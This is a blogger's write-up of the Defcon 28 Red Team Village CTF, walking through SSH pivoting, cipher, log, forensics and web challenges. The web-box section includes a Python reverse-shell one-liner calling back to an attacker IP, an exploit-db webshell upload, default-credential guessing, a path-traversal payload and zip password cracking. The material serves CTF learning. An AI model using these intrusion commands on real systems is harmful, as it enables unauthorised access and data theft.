museifu > blog

Defcon28 Red Team Village CTF 2020 Write-up

Thoughts

I want to start this post out by giving a big thank you to all the organizers and volunteers of Defcon 28. We are all facing a difficult time at the moment, in one way or another. Everyone really stepped up to make this event as great as it could be through the constraints of being exclusively virtual. Though I missed not being physically on-site to drink myself into a stupor amongst peers and friends. In exchange, I found this year to be particularly productive. I participated in the Red Team village’s CTF as well as the IOT village’s CTF. I also took Georgia Weidman’s “Hands-On Exploit Development” training. Georgia has a solid understanding of the material and communicates not just the concepts but the details well. Although this course was mostly review, I walked away with a more solid foundation on GNU’s Debugger, troubleshooting code, and exploitation. Big shoutout to the crew @dc562 you guys brought it this year and I couldn’t be more proud. Please enjoy the write-ups from the challenges I completed in the Red Team village’s CTF and feel free to contact me should you have any questions.

scores

Introduction

Challenge Name Category Solves Points
Bastion Tunneler 360 25
Browsing Websites Tunneler 276 50
SSH in tunnels Tunneler 267 50
Another Pivot Tunneler 169 75
What failed Logs 437 25
Who failed Logs 388 25
We failed Logs 401 25
Whom failed Logs 401 25
All about that base Crypto, Ciphers, and Encodings 504 10
All about that base remix Crypto, Ciphers, and Encodings 360 10
n Eggs Crypto, Ciphers, and Encodings 423 10
et tu brute Crypto, Ciphers, and Encodings 376 10
AFSC 29331 Crypto, Ciphers, and Encodings 313 10
Don’t touch the third rail Crypto, Ciphers, and Encodings 188 10
Why are they even in that order in the fist place? Crypto, Ciphers, and Encodings 222 10
Pop a shell on that Workout at Home Gym 145 200
Let’s enumerate the host a bit 1 Workout at Home Gym 131 25
Let’s enumerate the host a bit 2 Workout at Home Gym 125 50
Let’s have some SQL fun 1 Workout at Home Gym 112 300
Let’s have some SQL fun 2 Workout at Home Gym 100 75
Let’s have some SQL fun 3 Workout at Home Gym 95 75
Let’s have some SQL fun 4 Workout at Home Gym 108 75
Lookin’ for dem Tiger Tunes Tiger Tunes 127 50
Tigers Never Let You Down Tiger Tunes 52 150
Look Closer Tiger Tunes 66 150
Can you hear me now? Forensics 127 10
Just a nice picture Forensics 127 25
Strings Pwn 155 75
Tom Nook - 1A Forensics 259 30
Tom Nook - 1B Forensics 318 10
Tom Nook - 1C Forensics 318 10
Tom Nook - 1D Forensics 279 25
Tom Nook - 1E Forensics 194 30
Tom Nook - 1F Forensics 192 20

Bastion

Category : Tunneler | Solves: 360 | Points: 25


1 Bastion

We are given the username, password, and port to connect to a bastion host via SSH.

In doing so we are presented with our first flag:

tunneler-flag

Flag: ts{SSHtoANonStandardPort}

Furthermore, we are given information to connect to “the pivot host”:

Address: 10.218.176.199, user: whistler, password: cocktailparty

Simple enough.


— Back to Top —


Browsing Websites

Category: Tunneler | Solves: 276 | Points: 50

2 Browsing Websites

We are given “Browse to http://10.174.12.14”.

This is an internal IP, we will need to setup a proxy in order to browse internally to this host.

We will accomplish this with proxychains and SSH with the following commands,

First, we will setup a dynamic port forward over port 1080 on our localhost to the bastion server via SSH on port 2222.

ssh -D 1080 tunneler@164.90.147.46 -p 2222

Next, we configure our proxychains config file (found in /etc/proxychains.conf) to use this port on our localhost:

echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf

Lastly, we use the following command to transfer data from the internal IP (rather than browsing to it):

proxychains curl http://10.174.12.14

We are given the following output:

proxychains

Flag: ts{TheFirstTunnelIsTheEasiest}


— Back to Top —


SSH in tunnels

Category: Tunneler | Solves: 267 | Points: 50

ssh-in-tunnels

Now that we have our pivot setup, we should be able to SSH into another host using proxychains:

proxychains ssh whistler@10.218.176.199

We successfully connect to this new host and receive the next flag!

whistler-pivot

Flag: ts{IThoughtWeLostYouOnTheWay}


— Back to Top —


Another Pivot

Category: Tunneler | Solves: 170 | Points: 75

another-pivot

We are now tasked with connecting to an additional pivot.

There are two ways to go about this, I will cover both.

If we simply needed to connect to another host from our initial pivot and not establish another anchor point (second pivot) we could do this with the built-in SSH (-J) command that allows jumping from one SSH server to the next. (Note: some servers do not allow this, but in this case we can):

proxychains ssh -J whistler@10.218.176.199 crease@10.112.3.12

ssh-j

The other way to accomplish this, and pivot further into a network, would be to create another dynamic port forward on the first pivot machine (10.218.176.199), thus allowing us to connect to the second pivot server (10.112.3.12) via proxychains, rather than jumping from the first pivot machine using proxychains configured with the initial bastion host we established a dynamic port forward on.

We need to specify a new port to dynamically forward through our localhost:

proxychains ssh -D 1081 whistler@10.218.176.199

new-pivot

Now, we simply update our proxychains.conf file to use the new dynamic port 1081:

proxychainsconf

Lastly, let’s use this new configuration to connect to the second pivot server and get our flag!:

proxychains ssh crease@10.112.3.12

new-pivot

Flag: ts{TunnelsInTunnelsInTunnels}


— Back to Top —


What failed

Category: Logs | Solves: 437 | Points: 25

What-failed

I simply viewed the log file from Google Drive.

A quick review of the log file shows fail2ban has been configured to ban users over SSH.

readlogs

Flag: ssh


— Back to Top —


Who failed

Category: Logs | Solves: 389 | Points: 25

who-failed

For these set of challenges, the same log file is used.

After careful review we locate each unique IP address that has been banned:

92.252.94.69
116.31.116.47
47.202.16.90
12.70.197.135
91.224.160.108
91.224.160.106
108.58.9.206
195.223.55.28

Flag: 8


— Back to Top —


We failed

Category: Logs | Solves: 401 | Points: 25

we-failed

The specific error we care about for this log entry is as follows:

critical-error

A simple CTRL+F find all search on this log file for “CRITICAL Unable to restore environment” gives us the number of occurences the fail2ban service reached an unrecoverable state (a.k.a our flag): 48

Flag: 48


— Back to Top —


Whom failed

Category: Logs | Solves: 402 | Points: 25

whom-failed

For this challenge, we are searching for specific instances where the IP address is getting banned, rather than the reporting of IP’s that have already been banned.

Another use of CTRL+F through our web browser searching for “Ban ":

This provides us with the number of occurences of matches on IP Address: 116.31.116.47

mostfreq

Flag: 116.31.116.47


— Back to Top —


All about that base

Category: Crypto, Ciphers, and Encodings | Solves: 504 | Points: 10

all-about-that-base

This is a simple base64 encoded string.

echo "dHN7SXNUaGlzRW5jcnlwdGlvbn0=" | base64 -d

base64

Flag: ts{IsThisEncryption}


— Back to Top —


All about that base remix

Category: Crypto, Ciphers, and Encodings | Solves: 360 | Points: 10

all-about-that-base-remix

Another base64 encoded string?…

base64maybe

Nope.
Let’s try another base format.

base32

Base32 it is…yawn.

Flag: ts{ThisIstotallyEncryption!}


— Back to Top —


n Eggs

Category: Crypto, Ciphers, and Encodings | Solves: 423 | Points: 10

n-eggs

The title “n Eggs” gives us the hint that this may be a Bacon Cipher.
Bacon cipher it is.

Output: “TSBACONISMYNAME”

Flag: TSBACONISMYNAME


— Back to Top —


et tu brute

Category: Crypto, Ciphers, and Encodings | Solved: 313 | Points: 10

et-tu-brute

Based on the format of this string, this looks like the flag but just rotated.

Could it be the best encryption of all time ROT-13?!

“TSANOLDIEBUTAGOODIE”

They should’ve used ROT-26, double the encryption next time.

Flag: TSANOLDIEBUTAGOODIE


— Back to Top —


AFSC 29331

Category: Crypto, Ciphers, and Encodings | Solves: 313 | Points: 10

afsc-29331

Doing a quick Google Search on “AFSC 29331”, we learn this is an Air Force Specialty Code.

The string itself looks like morse code. The translation of morse code is as follows:

“DUTY BOPPERS”

Flag: DUTY BOPPERS


— Back to Top —


Don’t touch the third rail

Category: Crypto, Ciphers, and Encodings | Solves: 188 | Points: 10

dont-touch-the-third-rail

The title gives us a hint that this is likely a Rail Fence (Zig-Zag) Cipher.

Specifically with a height of 3.

“ts{ZigyzagyCipherFTW}”

Flag: ts{ZigyzagyCipherFTW}


— Back to Top —


Why are they even in that order in the fist place?

Category: Crypto, Ciphers, and Encodings | Solves: 222 | Points: 10

why-are-they-even

This was actually my favorite cipher challenge.

As we can tell, the numbers above range from as low as 3 to as high as 20.

My instinct told me this was simply a numerical representation of alphabetical characters.

Let’s translate it and check:

wombo-combo

Flag: TSLONGESTCOMBOEVERRECORDED


— Back to Top —


Pop a shell on that

Category: Workout at Home Gym | Solves: 145 | Points: 200

pop-a-shell

We are presented with the following challenge, to get a shell on this web server.

Let’s browse to it and start our enumeration.

gym-management-system

As we can see, we are presented with a “Gym Management System 1.0” webapp software.

There is a login for the site, but let’s do a quick check for any known vulnerabilities for this software.

gym-rce

Hey, that looks promising, let’s check out the source code.

https://www.exploit-db.com/exploits/48506

It looks like this python script will perform the uploading of a php webshell through an unauthenticated file upload vulnerability.
Let’s give it a go.

webshell

Sweet ascii art!

Now to find the flag on the root of the filesystem:

flag

That was an easy shell to pop. No kidding.

Flag: ts{ThatWasAnEasyShelltoPop}


— Back to Top —


Let’s Enumerate this host a bit 1

Category: Workout at Home Gym | Solves: 131 | Points: 25

lets-enumerate-1

Now that we have our webshell, let’s get a full shell on this host to make enumeration on the filesystem easier.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacking-ip>",6669));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

On our attacking server we setup a netcat listener:

nc -nvlp 6669

Once we catch the reverse shell we’ll want to spawn a TTY:

python -c 'import pty; pty.spawn("/bin/sh")'

Now that we have a nice working shell, we can check for the IP address of the mysql server.

I went ahead and ran ps aux | grep mysql to look for a running instance of mysql:

mysql

So, we know the IP address is 10.213.12.10

Flag: 10.213.12.10


— Back to Top —


Let’s Enumerate this host a bit 2

Category: Workout at Home Gym | Solves: 125 | Points: 50

lets-enumerate-2

Next, we need to locate the root password of the SQL server account.

Well, we know from running our previous ps aux | grep mysql command that the www-data user has an active session connecting to the “gym” database on the SQL server with the root account.

Let’s try some default passwords: root:root doesn’t work. Maybe root:toor. There we go!

mysql -h 10.213.12.10 -u root -p

mysql-root

Flag: toor


— Back to Top —


Let’s have some SQL fun 1

Category: Workout at Home Gym | Solves: 112 | Points: 300

lets-have-some-sql-fun-1

“Now you need to get a real shell.” One step ahead of you. ;)

Let’s see if we can locate the admin user.

First, we will use the following command to connect to the “gym” database from MySQL:

use gym;

Next, let’s take a look at the tables on the “gym” database.

show tables;

tables

The “members” table sounds particularly useful. Let’s check the columns for the members table.

show columns from members;

columns

Okay, now let’s select members from the “admin” column who’s value is equal to 1. This should yield any admin users found in the “members” table.

select * from members where admin = 1;

admin

“James” is our admin.

Flag: James


— Back to Top —


Let’s have some SQL fun 2

Category: Workout at Home Gym | Solves: 100 | Points: 75

lets-have-some-sql-fun-2

We need to enumerate the SQL tables further to find this information.

Previously, when we checked the columns we saw a “currentmembership” column for the members table.

Let’s check for members whose “currentmembership” = 1, meaning they have a current membership.

select * from members where currentmembership =1;

This gives us 5016 rows (or members) for output.

currentmembership

Flag: 5016


— Back to Top —


Let’s have some SQL fun 3

Category: Workout at Home Gym | Solves: 95 | Points: 75

lets-have-some-sql-fun-3

Now we need to find the most popular gym location.

We know there is a “gymlocation” column from the members table. We will use this to find the flag.

Let’s take another look at the tables.

show tables;

tables

Locations should tell us the different locations we will want to enumerate members with. Let’s check it out.

locations-table

Okay, so we have our locations and their respective id’s, now we simply need to check the number of members for each location. We’ll choose the location with the most rows (or members) from the results.

select * from members where gymlocation = 0

2018 rows for “Home Location”

2017 rows for “Chicago”

1971 rows for “Atlanta”

2068 rows for “Austin”

1926 rows for “Baltimore”

Austin is the most popular gym location.

Flag: Austin


— Back to Top —


Let’s have some SQL fun 4

Category: Workout at Home Gym | Solves: 108 | Points: 75

lets-have-some-sql-fun-4

Now for the last flag in this category we will need to locate the first failed login attempt by year.

Let’s take a look at the tables once more:

show tables;

tables

“login_attempts” likely has the information we are looking for.

Let’s check the columns for this table:

show columns from login_attempts;

login_attempts-columns

Okay, so the third column is of most interest to us. Let’s see the values for this column.

select * from login_attempts;

login_attempts

Okay, so we have numbers ranging from 1402641415-1597006651 or higher.

These timestamps are epochs. We will need to convert these to a human-readable time format.

epoch-to-human

Great, so it looks like 15XXXXXXX is from year 2020. Let’s try showing only values of login_attempts from lower values. Let’s say 1400000000.

select * from login_attempts where time <= 1400000000

We see 603 rows in this set.

Let’s check lower than 1380000000

select * from login_attempts where time <= 13800000000

This query returns “Empty set”. It looks like the lowest value is at least 139XXXXXXX

This gives us the following year: 2014

Flag: 2014


— Back to Top —


Lookin’ for dem Tiger Tunes

Category: Tiger Tunes | Solves: 127 | Points: 50

lookin-for-dem-tiger-tunes

We are presented with the following url:

http://164.90.157.234:8000/

Browsing here we find:

tiger-tunes

Enumerating the website we find the following in the robots.txt file:

robots.txt

Unfortunately, the challenge is not as simple as browsing to /etc/flag.txt through the URL.

Let’s see if we can find the “/etc/flag.txt” file with a vulnerability.

At the top we see a search bar. Maybe there is a local file inclusion vulnerability through the search function.

search-lfi

Sure enough, by searching for “../../etc/flag.txt” we are returned with the output of /etc/flag.txt

Flag: TS{SheDidItDotDotDotty}


— Back to Top —


Tigers Never Let You Down

Category: Tiger Tunes | Solves: 52 | Points: 150

tigers-never-let-you-down

I’ll be honest, this one took me a little while to figure out. But it did click eventually, let’s walk through the process.

We know from the webapp that there is a “Joe’s Tracks” directory.

Browsing here: “http://164.90.157.234:8000/joe.php”

We see images of popular albums, including the ever popular “Joe Exotic’s - Tiger King” album.

joes-tracks

My initial thought was there may be either another web vulnerability chained from the location of this album image or that the album art has hidden steganopgrahy.

Browsing to “Joe Exotic’s - Tiger King” album art we see a password lock layer on top of the image. This must be steganography right? Let’s check the directory the JPEG file is in.

“http://164.90.157.234:8000/album/”

tigerkingalt-hmm

Hmm, so there is the original tigerking.jpg album and a tigerking_alt.jpg image…

Let’s check for hidden data in the original image.

steghide extract -sf tigerking.jpg

steghide1

Okay, so we locate a troll.txt file from the image. This troll.txt file contains a base64 encoded string that, when decoded, provides a youtube link. We are about to get rick rolled. Yep, rick roll.

At this point I checked the tigerking_alt.jpg image for steganography before circling back to this challenge.

Eventually I came back to this challenge. The point that clicked for me, was the connection between the rick roll and the title of the challenge: “Tigers Never Let You Down”.

Checking the entire list of JPEG files in the album directory, we locate a “rickastley.jpg” image.

“http://164.90.157.234:8000/album/rickastley.jpg”

rickastley

Let’s download this file and check it with steghide.

steghide extract -sf rickastley.jpg

rickstegly

We’ve found our flag!

Flag: TS{NeverGonnaLetYouFindMyExHusbandsBody}


— Back to Top —


Look Closer

Category: Tiger Tunes | Solves: 66 | Points: 150

look-closer

So, from the last challenge we had located two separate tigerking.jpg files.

We know there is no file hidden within the image itself from the last challenge.

Let’s look at the tigerking_alt.jpg file from within Gimp and see if the flag is hidden within the image itself.

By adjusting the brightness on the image, we locate the flag on the image itself.

Easy enough.

tigerkingaltflag

Flag: TS{SupaHotFireeeeee}


— Back to Top —


Can you hear me now?

Category: Forensics | Solves: 127 | Points: 10

can-you-hear-me-now

We are given a .wav file from the google drive link above.

Let’s download the file and give it a listen.

Opening the file in Audacity we don’t hear anything audibly pleasing.

Let’s open the spectrogram.

spectoez

Easy enough.

Flag: flag{s0nicw@v!}


— Back to Top —


Just a nice picture

Category: Forensics | Solves: 127 | Points: 25

just-a-nice-picture

The link provides a ctf.jpg image.

Let’s download this image and check for steganography.

Initially, I tried adjusting the images brightness, contrast, and color levels (red, blue, and green), all to no avail.

Steghide didn’t yield any hidden content either. Time to try some other stuff.

Running strings on the file shows some interesting content:

strings ctf.jpg

flaginside

Let’s use binwalk to check the contents of this file.

binwalk ctf.jpg

binwalk

Running binwalk on this file, we see a zip archive at 0x290791 offset that contains a flag.txt file.

Let’s use “dd” to extract the contents.

dd

We are unable to unzip the file as it is password protected.

Let’s use fcrackzip to attempt to bruteforce the password with rockyou.txt wordlist.

fcrackzip -u -v -D -p /usr/share/wordlists/rockyou.txt flag.zip

fcrackzip

Finally, let’s unzip the archive and display the flag.

unzip-flag

Flag: flag{f93kfaskdif92}


— Back to Top —


Strings

Category: Pwn | Solves: 155 | Points: 75

strings

We download the “strings.c” file and compile it using GCC.

gcc -o strings strings.c

Checking our newly compiled “strings” file with strings we see the flag in the output, but it has been mangled.

Let’s try viewing this compiled binary in a memory hex viewer such as “xxd”.

xxd strings

xxd-strings

Easy enough.

Flag: ts{DidYouUseStringsorMaths}


— Back to Top —


Tom Nook - 1A

Category: Forensics | Solves: 259 | Points: 30

tom-nook-1a

We are given a 7zipped archive containing a packet capture file.

7z x TomNookInternetTraffic.7z

Let’s open this pcap file in Wireshark. By checking the contents of the packet capture we find the first flag in the 7th entry of transmission data.

wireshark-pcap

Flag: TS{TomNookUsesTheInternet}


— Back to Top —


Tom Nook - 1B

Category: Forensics | Solves: 321 | Points: 10

tom-nook-1b

By analyzing the pcap file from the screenshot in the first challenge we locate the source IP:

Source: 192.168.1.47

Flag: 192.168.1.47


— Back to Top —


Tom Nook - 1C

Category: Forensics | Solves: 321 | Points: 10

tom-nook-1c

Now, we simply need to locate the destination IP rather than the source IP within the pcap file.

Destination: 161.35.110.243

Flag: 161.35.110.243


— Back to Top —


Tom Nook - 1D

Category: Forensics | Solves: 282 | Points: 25

tom-nook-1d

Further analysis of the packet captures yields the following filename:

filename

Flag: SecretACBankStatement.zip


— Back to Top —


Tom Nook - 1E

Category: Forensics | Solves: 282 | Points: 25

tom-nook-1e

We locate the “SecretACBankStatement.zip” file and use the “Export Packet Bytes…” tool to extract the zip file.

zip-extract

Now, we simply need to crack the password for this zip file.

Let’s use fcrackzip.

fcrackzip -u -v -D -p /usr/share/wordlists/rockyou.txt raw

fcrackzip

Flag: monkey123


— Back to Top —


Tom Nook - 1F

Category: Forensics | Solves: 194 | Points: 20

tom-nook-1f

Lastly, we need to unzip the contents and locate the flag inside the PDF.

unzip

Opening this “BankStatement.pdf” file we find the last flag.

pdfflag

Flag: TS{TomNookDrivesTheBoat}


— Back to Top —